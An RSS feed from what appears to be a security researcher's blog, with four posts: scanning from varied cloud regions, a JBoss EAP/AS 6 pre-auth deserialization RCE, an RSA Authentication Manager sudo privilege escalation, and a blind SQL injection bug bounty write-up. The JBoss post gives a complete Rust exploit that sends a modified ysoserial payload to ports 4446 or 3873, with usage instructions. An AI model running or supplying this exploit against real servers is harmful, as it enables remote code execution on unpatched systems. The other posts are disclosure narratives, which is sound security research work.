<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[jspin.re - Keep hacking! ]]></title><description><![CDATA[Hack the Planet!]]></description><link>https://jspin.re/</link><image><url>https://jspin.re/favicon.png</url><title>jspin.re - Keep hacking! </title><link>https://jspin.re/</link></image><generator>Ghost 4.48</generator><lastBuildDate>Mon, 11 May 2026 15:15:33 GMT</lastBuildDate><atom:link href="https://jspin.re/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[Variant Cloud Analysis]]></title><description><![CDATA[<p>Another yet quick blog post.</p><p>A few years ago, 3 or 4, maybe 5, I was &quot;working&quot; with <a href="https://twitter.com/marcioalm">@marcioalm</a> &#xA0;in a &quot;Simple Web Vulnerability Scanner&quot; tool intended to be part of an automation vulnerability check for a large and specific environment.</p><p>Keep in mind that</p>]]></description><link>https://jspin.re/variant-cloud-analysis/</link><guid isPermaLink="false">6284edf9528ea04504fe7355</guid><dc:creator><![CDATA[jspin]]></dc:creator><pubDate>Wed, 18 May 2022 13:58:18 GMT</pubDate><content:encoded><![CDATA[<p>Another yet quick blog post.</p><p>A few years ago, 3 or 4, maybe 5, I was &quot;working&quot; with <a href="https://twitter.com/marcioalm">@marcioalm</a> &#xA0;in a &quot;Simple Web Vulnerability Scanner&quot; tool intended to be part of an automation vulnerability check for a large and specific environment.</p><p>Keep in mind that adventure was before the release of the well-acclaimed <a href="https://github.com/projectdiscovery/nuclei">Nuclei</a>, and Nuclei, since its first releases implemented better features than our tool. By the way, &#xA0;the tool was/is named S<strong>tryker</strong>.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://jspin.re/content/images/2022/05/image.png" class="kg-image" alt loading="lazy" width="1688" height="557" srcset="https://jspin.re/content/images/size/w600/2022/05/image.png 600w, https://jspin.re/content/images/size/w1000/2022/05/image.png 1000w, https://jspin.re/content/images/size/w1600/2022/05/image.png 1600w, https://jspin.re/content/images/2022/05/image.png 1688w" sizes="(min-width: 720px) 720px"><figcaption>Stryker</figcaption></figure><p>The idea behind the Stryker was quite simple, &#xA0;read a JSON file, aka &quot;Stryker module&quot;, build the request then parse the response.</p><p>Stryker modules are simple to write; for example, a simple check for the <strong>CVE-2017-9506.</strong></p><figure class="kg-card kg-image-card"><img src="https://jspin.re/content/images/2022/05/image-1.png" class="kg-image" alt loading="lazy" width="1578" height="1090" srcset="https://jspin.re/content/images/size/w600/2022/05/image-1.png 600w, https://jspin.re/content/images/size/w1000/2022/05/image-1.png 1000w, https://jspin.re/content/images/2022/05/image-1.png 1578w" sizes="(min-width: 720px) 720px"></figure><p>As I said before, nowadays, Stryke is outdated, and for us, it was well replaced by Nuclei.</p><p>So, what is the relation between Stryker and Variant Cloud Analysis? </p><p>Back in those days, Stryker was getting good results against the organization we were testing. Then I had the idea to test against a well tested Bug Bounty program scope. </p><p>The <strong>Variant Cloud Analysis (VCA) </strong>term was coined (?) (probably there is another name for this same thing running for ages in the industry) when we started to observe different results when running Stryker against the same bug bounty program scope many times using different: </p><ul><li>Cloud providers</li><li>Instances types</li><li>Regions &#xA0;</li></ul><p>For transparency, almost tests were performed using Amazon AWS as the cloud provider.</p><p>The most exciting finding was testing for <strong>Apache Tomcat Manager Default Password</strong> on a public and well-tested Bug Bounty Program. We got one hit, which was 100% unexpected since I believe people constantly scan this kind of issue. </p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://jspin.re/content/images/2022/05/image-2.png" class="kg-image" alt loading="lazy" width="918" height="1998" srcset="https://jspin.re/content/images/size/w600/2022/05/image-2.png 600w, https://jspin.re/content/images/2022/05/image-2.png 918w" sizes="(min-width: 720px) 720px"><figcaption><strong>Apache Tomcat Manager Default Password Stryker Template (old)</strong></figcaption></figure><p>As expected, I did submit a report using the HackerOne platform.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://jspin.re/content/images/2022/05/image-3.png" class="kg-image" alt loading="lazy" width="2000" height="822" srcset="https://jspin.re/content/images/size/w600/2022/05/image-3.png 600w, https://jspin.re/content/images/size/w1000/2022/05/image-3.png 1000w, https://jspin.re/content/images/size/w1600/2022/05/image-3.png 1600w, https://jspin.re/content/images/2022/05/image-3.png 2146w" sizes="(min-width: 720px) 720px"><figcaption>Initial Report</figcaption></figure><p>Triage returned, saying it was unable to reproduce the report.</p><figure class="kg-card kg-image-card"><img src="https://jspin.re/content/images/2022/05/image-4.png" class="kg-image" alt loading="lazy" width="2000" height="378" srcset="https://jspin.re/content/images/size/w600/2022/05/image-4.png 600w, https://jspin.re/content/images/size/w1000/2022/05/image-4.png 1000w, https://jspin.re/content/images/size/w1600/2022/05/image-4.png 1600w, https://jspin.re/content/images/2022/05/image-4.png 2180w" sizes="(min-width: 720px) 720px"></figure><p>My fault. I did not provide all the information necessary. To reproduce the report, it was required to use an AWS instance type <strong>t2.xlarge</strong> in the <strong>us-east-1a </strong>region.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://jspin.re/content/images/2022/05/image-5.png" class="kg-image" alt loading="lazy" width="2000" height="240" srcset="https://jspin.re/content/images/size/w600/2022/05/image-5.png 600w, https://jspin.re/content/images/size/w1000/2022/05/image-5.png 1000w, https://jspin.re/content/images/size/w1600/2022/05/image-5.png 1600w, https://jspin.re/content/images/2022/05/image-5.png 2166w" sizes="(min-width: 720px) 720px"><figcaption>Report Triaged</figcaption></figure><p>As a result, the report was closed, and the bounty was only used to pay for the AWS adventure bill. :)</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://jspin.re/content/images/2022/05/image-6.png" class="kg-image" alt loading="lazy" width="2000" height="196" srcset="https://jspin.re/content/images/size/w600/2022/05/image-6.png 600w, https://jspin.re/content/images/size/w1000/2022/05/image-6.png 1000w, https://jspin.re/content/images/size/w1600/2022/05/image-6.png 1600w, https://jspin.re/content/images/2022/05/image-6.png 2160w" sizes="(min-width: 720px) 720px"><figcaption>Report Closed.</figcaption></figure><p>The takeaway from this &#xA0;short and hard to read blog post is when running your recon/scanning/automation, try tricks such as:</p><ul><li>Different Cloud Providers</li><li>As many regions as possible</li><li>Different Instance Types</li><li>Automation is the key</li></ul><p>There is no link to Stryker since it is pretty much dead. Use Nuclei instead.</p><p>Cya...</p>]]></content:encoded></item><item><title><![CDATA[JBoss EAP/AS <= 6.* RCE - A little bit beyond \xAC\xED]]></title><description><![CDATA[<blockquote class="kg-blockquote-alt">Time to &quot;leak&quot; this old (but gold) pre-auth RCE affecting some of the Red Hat products. </blockquote><p>As stated by <a href="https://twitter.com/joaomatos">@joaomatosf</a> this is an old but gold vulnerability found by himself and shared in two distinct security conference in Brazil, this vulnerability was part of a training he gave</p>]]></description><link>https://jspin.re/jboss-eap-as-6-rce-a-little-bit-beyond-xac-xed/</link><guid isPermaLink="false">626113cada717c6cb65af5d1</guid><dc:creator><![CDATA[jspin]]></dc:creator><pubDate>Thu, 21 Apr 2022 11:45:13 GMT</pubDate><content:encoded><![CDATA[<blockquote class="kg-blockquote-alt">Time to &quot;leak&quot; this old (but gold) pre-auth RCE affecting some of the Red Hat products. </blockquote><p>As stated by <a href="https://twitter.com/joaomatos">@joaomatosf</a> this is an old but gold vulnerability found by himself and shared in two distinct security conference in Brazil, this vulnerability was part of a training he gave alongside with two other colleagues, check his tweet.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://jspin.re/content/images/2022/04/image.png" class="kg-image" alt loading="lazy" width="599" height="299"><figcaption>https://twitter.com/joaomatosf/status/1502334426868551682</figcaption></figure><p>Technical details are available in the slides from the <a href="https://s3.amazonaws.com/files.joaomatosf.com/slides/alligator_slides.pdf">Alligator Conference</a> 2019. </p><p>Back in time, I did use this vulnerability as a stimulus to write some Rust code, so forgive me any non-sense.</p><p><strong><em>Cargo.toml</em></strong></p><pre><code class="language-toml">[package]
name = &quot;j-is-d-boss&quot;
version = &quot;0.1.0&quot;
authors = [&quot;jespinhara&quot;]
edition = &quot;2018&quot;

# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html

[dependencies]
clap = &quot;~2.33.3&quot;
hexdump = &quot;0.1.0&quot;</code></pre><p><strong><em>main.rs</em></strong></p><figure class="kg-card kg-code-card"><pre><code class="language-Rust">extern crate clap;

use clap::{Arg, App};

use std::net::TcpStream;
use std::io::{Read, Write};
use std::fs::File;
use std::path::Path;
use std::str::from_utf8;
use std::process::exit;

// stackoverflow FTW
// https://stackoverflow.com/questions/54150353/how-to-find-and-replace-every-matching-slice-of-bytes-with-another-slice
// this will replace all the occurrences, but in this case, \xac\xed only happens once
fn replace_slice&lt;T&gt;(source: &amp;mut [T], from: &amp;[T], to: &amp;[T])
    where
        T: Clone + PartialEq,
{
    let iteration = if source.starts_with(from) {
        source[..from.len()].clone_from_slice(to);
        from.len()
    } else {
        1
    };

    if source.len() &gt; from.len() {
        replace_slice(&amp;mut source[iteration..], from, to);
    }
}

fn prepare_payload(serial_file: &amp;str) -&gt; Vec&lt;u8&gt; {
    println!(&quot;[!] Loading and preparing the payload...&quot;);

    let in_the_past = b&quot;\xac\xed\x00\x05&quot;;
    let magic_bytes = b&quot;\x77\x01\x16\x79&quot;;

    let mut file_content = Vec::new();
    let mut file = File::open(&amp;serial_file).expect(&quot;[-] Unable to open file&quot;);
    file.read_to_end(&amp;mut file_content).expect(&quot;[-] Unable to read&quot;);

    replace_slice(&amp;mut file_content, in_the_past, magic_bytes);

    file_content
}

fn send_gift(target: &amp;str, port: &amp;str, payload: Vec&lt;u8&gt;) {

    let mut target_address = target.to_string();
    let mut target_port = port.to_string();

    // target:port -&gt; TcpStream
    target_address.push_str(&quot;:&quot;);
    target_address.push_str(&amp;target_port);

    if let Ok(mut stream) = TcpStream::connect(target_address) {
        println!(&quot;[+] Connected to the server!&quot;);

        let handshake = b&quot;\xac\xed\x00\x05&quot;;

        println!(&quot;[!] Sending handshake...&quot;);
        stream.write(handshake).unwrap();

        let mut data = [0 as u8; 4];
        match stream.read_exact(&amp;mut data) {
            Ok(_) =&gt; {
                if &amp;data == handshake {
                    println!(&quot;[+] Handshake Succeed!&quot;);
                    stream.write(payload.as_slice()).unwrap();
                    println!(&quot;[+] Exploiting... Done!&quot;);
                } else {
                    let res = from_utf8(&amp;data).unwrap();
                    println!(&quot;[-] Unexpected response: {}&quot;, res);
                    println!(&quot;[-] Server response bytes: {:?}&quot;, res);
                }
            }
            Err(e) =&gt; {
                println!(&quot;[-] Failed to receive data: {}&quot;, e);
            }
        }
    } else {
        println!(&quot;[-] Couldn&apos;t connect to server...&quot;);
    }
}

fn main() {
    let matches = App::new(&quot;JBoss EAP/AS &lt;= 6.X Vulnerability by @joaomatosf - A little bit beyond ACED&quot;)
        .version(&quot;1.0&quot;)
        .author(&quot;Exploit by: @jespinhara\n&quot;)
        .about(&quot;\nJBoss EAP/AS &lt;= 6.X by default and  JBoss EAP/AS up to date if the targeted service is enabled.&quot;)
        .arg(Arg::with_name(&quot;target&quot;)
            .short(&quot;t&quot;)
            .long(&quot;target&quot;)
            .value_name(&quot;TARGET&quot;)
            .help(&quot;Target address&quot;)
            .takes_value(true)
            .required(true))
        .arg(Arg::with_name(&quot;port&quot;)
            .short(&quot;p&quot;)
            .long(&quot;port&quot;)
            .value_name(&quot;PORT&quot;)
            .help(&quot;Port (4446: JBoss Remoting Unified Invoker, 3873: EJB Remoting Connector)&quot;)
            .takes_value(true)
            .default_value(&quot;4446&quot;)
            .required(false))
        .arg(Arg::with_name(&quot;payload&quot;)
            .short(&quot;y&quot;)
            .long(&quot;payload&quot;)
            .value_name(&quot;PAYLOAD&quot;)
            .help(&quot;Ysoserial payload&quot;)
            .takes_value(true)
            .required(true))
        .get_matches();

    let target = matches.value_of(&quot;target&quot;).unwrap();
    let port = matches.value_of(&quot;port&quot;).unwrap();
    let payload = matches.value_of(&quot;payload&quot;).unwrap();

    if !Path::new(payload).exists() {
        println!(&quot;[-] Payload file not found! Exiting...&quot;);
        exit(0);
    }

    send_gift(target, port, prepare_payload(payload));

}</code></pre><figcaption>https://github.com/jespinhara/j-is-the-boss</figcaption></figure><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://github.com/jespinhara/j-is-the-boss"><div class="kg-bookmark-content"><div class="kg-bookmark-title">GitHub - jespinhara/j-is-the-boss</div><div class="kg-bookmark-description">Contribute to jespinhara/j-is-the-boss development by creating an account on GitHub.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://github.com/fluidicon.png" alt><span class="kg-bookmark-author">GitHub</span><span class="kg-bookmark-publisher">jespinhara</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://opengraph.githubassets.com/f9256e8a7182ca4da3d03048e359b79d233bc02b7a95730acccc5ab78ceecd50/jespinhara/j-is-the-boss" alt></div></a></figure><p>To use this exploit, create a malicious java payload using the well-known <strong>ysoserial</strong>, which I personally use <a href="https://github.com/pimps/ysoserial-modified">@pimps modified version</a>, then:</p><pre><code class="language-bash"># ./j-is-d-boss -t [TARGET] -y [payload.ser] -p [PORT]</code></pre><figure class="kg-card kg-video-card kg-card-hascaption"><div class="kg-video-container"><video src="https://jspin.re/content/media/2022/04/jbossASExploit.mp4" poster="https://img.spacergif.org/v1/1526x1626/0a/spacer.png" width="1526" height="1626" playsinline preload="metadata" style="background: transparent url(&apos;https://jspin.re/content/images/2022/04/media-thumbnail-ember877.jpg&apos;) 50% 50% / cover no-repeat;"></video><div class="kg-video-overlay"><button class="kg-video-large-play-icon"><svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 24 24"><path d="M23.14 10.608 2.253.164A1.559 1.559 0 0 0 0 1.557v20.887a1.558 1.558 0 0 0 2.253 1.392L23.14 13.393a1.557 1.557 0 0 0 0-2.785Z"/></svg></button></div><div class="kg-video-player-container"><div class="kg-video-player"><button class="kg-video-play-icon"><svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 24 24"><path d="M23.14 10.608 2.253.164A1.559 1.559 0 0 0 0 1.557v20.887a1.558 1.558 0 0 0 2.253 1.392L23.14 13.393a1.557 1.557 0 0 0 0-2.785Z"/></svg></button><button class="kg-video-pause-icon kg-video-hide"><svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 24 24"><rect x="3" y="1" width="7" height="22" rx="1.5" ry="1.5"/><rect x="14" y="1" width="7" height="22" rx="1.5" ry="1.5"/></svg></button><span class="kg-video-current-time">0:00</span><div class="kg-video-time">/<span class="kg-video-duration"></span></div><input type="range" class="kg-video-seek-slider" max="100" value="0"><button class="kg-video-playback-rate">1&#xD7;</button><button class="kg-video-unmute-icon"><svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 24 24"><path d="M15.189 2.021a9.728 9.728 0 0 0-7.924 4.85.249.249 0 0 1-.221.133H5.25a3 3 0 0 0-3 3v2a3 3 0 0 0 3 3h1.794a.249.249 0 0 1 .221.133 9.73 9.73 0 0 0 7.924 4.85h.06a1 1 0 0 0 1-1V3.02a1 1 0 0 0-1.06-.998Z"/></svg></button><button class="kg-video-mute-icon kg-video-hide"><svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 24 24"><path d="M16.177 4.3a.248.248 0 0 0 .073-.176v-1.1a1 1 0 0 0-1.061-1 9.728 9.728 0 0 0-7.924 4.85.249.249 0 0 1-.221.133H5.25a3 3 0 0 0-3 3v2a3 3 0 0 0 3 3h.114a.251.251 0 0 0 .177-.073ZM23.707 1.706A1 1 0 0 0 22.293.292l-22 22a1 1 0 0 0 0 1.414l.009.009a1 1 0 0 0 1.405-.009l6.63-6.631A.251.251 0 0 1 8.515 17a.245.245 0 0 1 .177.075 10.081 10.081 0 0 0 6.5 2.92 1 1 0 0 0 1.061-1V9.266a.247.247 0 0 1 .073-.176Z"/></svg></button><input type="range" class="kg-video-volume-slider" max="100" value="100"></div></div></div><figcaption>Exploiting sample docker</figcaption></figure><p>&quot;Funny&quot; enough, <a href="https://twitter.com/marcioalm">Marcio&apos;s</a> python exploit has 20 lines and works like a charm. Keep it simple.</p><p>That&apos;s all cya folks!</p>]]></content:encoded></item><item><title><![CDATA[RSA Authentication Manager 8.4 Privilege Escalation]]></title><description><![CDATA[<p>Some time ago, many months ago to be accurate, during an engagement I found a way to gain root privileges in a RSA Authentication Manager server. It started from a non-authenticated point-of-view, by exploiting a Weblogic RCE vulnerability (CVE-2019-2725) which at the time, the fix was already available. BTW many</p>]]></description><link>https://jspin.re/rsa-authentication-manager-8-4-privilege-escalation/</link><guid isPermaLink="false">61263329da717c6cb65af559</guid><dc:creator><![CDATA[jspin]]></dc:creator><pubDate>Wed, 25 Aug 2021 12:27:17 GMT</pubDate><content:encoded><![CDATA[<p>Some time ago, many months ago to be accurate, during an engagement I found a way to gain root privileges in a RSA Authentication Manager server. It started from a non-authenticated point-of-view, by exploiting a Weblogic RCE vulnerability (CVE-2019-2725) which at the time, the fix was already available. BTW many reading this will associate it with some Hack The Box exercise, and I think many other folks found the same issue before.</p><p><strong>Impact</strong>: the rsaadmin user can elevate privileges to root.</p><p>Version tested: RSA Authentication Manager 8.4.0.0.0-build1404796<br>Version tested: RSA Authentication Manager 8.4.0.10.0-build1411996 (which at the time was the current release)<br><strong>Current version is the 8.5, which was NOT tested. </strong>(by me at least)</p><p>After gaining access to the server, and try to execute sudo commands will prompt the password, which we don&apos;t know since the initial access was exploiting the Weblogic vulnerability.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://jspin.re/content/images/2021/08/file-image.png" class="kg-image" alt loading="lazy" width="734" height="83" srcset="https://jspin.re/content/images/size/w600/2021/08/file-image.png 600w, https://jspin.re/content/images/2021/08/file-image.png 734w" sizes="(min-width: 720px) 720px"><figcaption>sudo -l</figcaption></figure><p>The highlighted output says the rsaadmin user can execute any <strong>*.sh</strong> and <strong>*.py</strong> files in the<em> /opt/rsa/am/utils/bin/appliance/</em> directory using sudo without prompting the password.</p><p>The rsaadmin user has no permission to create a file in the <em>/opt/rsa/am/utils/bin/appliance/</em> directory, also if the user tries to create a file using the sudo, the server will ask for the user&apos;s password, which it was unknown to me.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://jspin.re/content/images/2021/08/file-image-2.png" class="kg-image" alt loading="lazy" width="699" height="337" srcset="https://jspin.re/content/images/size/w600/2021/08/file-image-2.png 600w, https://jspin.re/content/images/2021/08/file-image-2.png 699w"><figcaption>Trying to create a file inside the <em>/opt/rsa/am/utils/bin/appliance/ </em>directory</figcaption></figure><p>Listing the files in the <em>/opt/rsa/am/utils/bin/appliance/</em> directory, we can see several shell script files and a few python script files. The file I was interested in was the <strong>oc_cmd.sh</strong> for an obvious reason *cmd.sh. :)</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://jspin.re/content/images/2021/08/03.png" class="kg-image" alt loading="lazy" width="1032" height="180" srcset="https://jspin.re/content/images/size/w600/2021/08/03.png 600w, https://jspin.re/content/images/size/w1000/2021/08/03.png 1000w, https://jspin.re/content/images/2021/08/03.png 1032w" sizes="(min-width: 720px) 720px"><figcaption>Files from the RSA Authentication Manager default installation</figcaption></figure><p>In a quick look, we can see that the <strong>oc_cmd.sh</strong> script can perform a few OS operations. To me, using the <strong>cp </strong>to copy a &quot;malicious&quot; bash script to the <em>/opt/rsa/am/utils/bin/appliance/</em> directory was enough.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://jspin.re/content/images/2021/08/04.png" class="kg-image" alt loading="lazy" width="730" height="744" srcset="https://jspin.re/content/images/size/w600/2021/08/04.png 600w, https://jspin.re/content/images/2021/08/04.png 730w" sizes="(min-width: 720px) 720px"><figcaption>os_cmd.sh partial code</figcaption></figure><p>Create our the following bash script in the /tmp directory:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://jspin.re/content/images/2021/08/05.png" class="kg-image" alt loading="lazy" width="867" height="145" srcset="https://jspin.re/content/images/size/w600/2021/08/05.png 600w, https://jspin.re/content/images/2021/08/05.png 867w" sizes="(min-width: 720px) 720px"><figcaption>Super l33t LPE exploit :P</figcaption></figure><p>Finally, using the<strong> oc_cmd.sh</strong> script to copy the bash script from /tmp/xpl.sh to the <em>/opt/rsa/am/utils/bin/appliance/</em> directory and then execute it.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://jspin.re/content/images/2021/08/06.png" class="kg-image" alt loading="lazy" width="1024" height="187" srcset="https://jspin.re/content/images/size/w600/2021/08/06.png 600w, https://jspin.re/content/images/size/w1000/2021/08/06.png 1000w, https://jspin.re/content/images/2021/08/06.png 1024w" sizes="(min-width: 720px) 720px"><figcaption>got root?!</figcaption></figure><p>Side note, <strong>oc_cmd.sh</strong> was the first and only file I checked, probably there are more ways to do the same assisted by the default installation misconfigurations.</p><p>RSA was contacted and replied with:</p><p><em>&quot;Hello Joaquim,</em></p><p><em>After reviewing this issue we have determined that this is not a security defect and will be closing out this ticket. The RSA Authentication Manager system is designed as a single user appliance with the supported ability to elevate to root for maintenance and support purposes. &#xA0;However, if you are aware of a new approach to successfully exploit CVE-2019-2725 against RSA Authentication Manager then please let us know and we can open a new case to investigate that issue.</em></p><p><em>We thank you for reporting this issue to us and look forward to working with you in the future on any potential vulnerabilities that you discover.&quot;</em></p><p>Not a bug! That&apos;s all cya folks!</p>]]></content:encoded></item><item><title><![CDATA[Blind (time-based) SQLi - Bug Bounty]]></title><description><![CDATA[<p>This will be a short blog post and the first writing about Bug Bounties, I&apos;m trying to get more involved into this matter and I&apos;m &#xA0;hunting on my spare time and 90% of the time on <a href="https://www.synack.com/red-team/">Synack</a>. </p><p>Early this month I got invited to a</p>]]></description><link>https://jspin.re/fileupload-blind-sqli/</link><guid isPermaLink="false">5d0b1be15d54f459b90d4017</guid><dc:creator><![CDATA[jspin]]></dc:creator><pubDate>Fri, 05 Jul 2019 05:18:46 GMT</pubDate><content:encoded><![CDATA[<p>This will be a short blog post and the first writing about Bug Bounties, I&apos;m trying to get more involved into this matter and I&apos;m &#xA0;hunting on my spare time and 90% of the time on <a href="https://www.synack.com/red-team/">Synack</a>. </p><p>Early this month I got invited to a private bug bounty program running on <a href="https://hackerone.com">HackerOne</a> and for obvious reasons I&apos;ll not name the company here. As soon I got invited to the program I asked some friends that were into this very same program before myself if they knew some &quot;fishy&quot; areas in the application that they were willing to share with me, well this is what friends are for. :)</p><p>Talking to <a href="https://twitter.com/reefbr">https://twitter.com/reefbr</a> he sent me a self-register page in a critical domain (in-scope). The registration went through without any problem and a few seconds after hit the send button I got an email with the access details. </p><p>With my self-registered user working good it was very quick to found a file upload feature within the application. File Uploads functions are straightforward so I tried to upload a random file to see if any security control was in place by the application. The limitations that I found were:</p><ul><li>PDF files accept only</li><li>AV running on the backend server</li></ul><p>After poking around the upload function, I realise that the application was only validating the file type extension, such as &quot;<em>filename</em><strong>.pdf</strong>&quot;. I did several tries to bypass this validation and I got success in some, but in the end I did not reach any execution in the server-side, time to change the strategy.</p><p>Back in the past, when doing my official daily duties as a Penetration Tester I came across a web application that was including the filename into the database, as far I remember that time I got a Blind (time-based) SQL Injection in the <strong>filename parameter</strong>. So, why not test in this application? </p><p>Burp Proxy set to intercept the HTTP requests, then I hit the <em>Upload button</em> in the application and replace the original filename parameter to:</p><figure class="kg-card kg-image-card"><img src="https://jspin.re/content/images/2019/06/sqli-blog-01.png" class="kg-image" alt loading="lazy"></figure><p>Note: I tried to send the request without the <strong>.pdf </strong>extension but the application was rejecting. BTW, this is the same payload used by the Burp Scanner for active tests.</p><p>The application was running &quot;behind&quot; the <a href="https://www.cloudflare.com/">Cloudflare</a> WAF, so after some tries to confirm if the application was vulnerable all my requests were getting the &quot;Access Denied&quot; message. Now it&apos;s time to bring back <a href="https://twitter.com/reefbr">https://twitter.com/reefbr</a>, Manoel had reported a Cloudflare bypass to the same program and again... he told me about this. Using the bypass (configuration issue) found by @reefbr I did manage to confirm the SQL Injection (finally).</p><p>Talk is cheap show me the PoC. Initial request bellow:</p><figure class="kg-card kg-image-card"><img src="https://jspin.re/content/images/2019/06/sqli-blog-02.png" class="kg-image" alt loading="lazy"></figure><p>Let&apos;s increase the sleeping time...</p><figure class="kg-card kg-image-card"><img src="https://jspin.re/content/images/2019/06/sqli-blog-03.png" class="kg-image" alt loading="lazy"></figure><p>Going up a bit on the sleeping time:</p><figure class="kg-card kg-image-card"><img src="https://jspin.re/content/images/2019/06/sqli-blog-04.png" class="kg-image" alt loading="lazy"></figure><p>Let&apos;s make sure that the triage team will understand and be able to reproduce, so +1 request...</p><figure class="kg-card kg-image-card"><img src="https://jspin.re/content/images/2019/06/sqli-blog-05.png" class="kg-image" alt loading="lazy"></figure><p>That&apos;s all folks, hope you did enjoy.</p><p>As a final note, this private program is handling very sensitive information (PII) so extracting any data would create new issues to the program&apos;s owner. Having this in mind, I choose to proceed with the exploitation process by using the sleep payload and comparing the responses time to proof the vulnerability.</p><hr><!--kg-card-begin: markdown--><p>Timeline:</p>
<ol>
<li>Report Sent</li>
<li>Report Triaged</li>
<li>Report Solved (bug fixed)</li>
<li>Bounty Paid</li>
</ol>
<!--kg-card-end: markdown-->]]></content:encoded></item></channel></rss>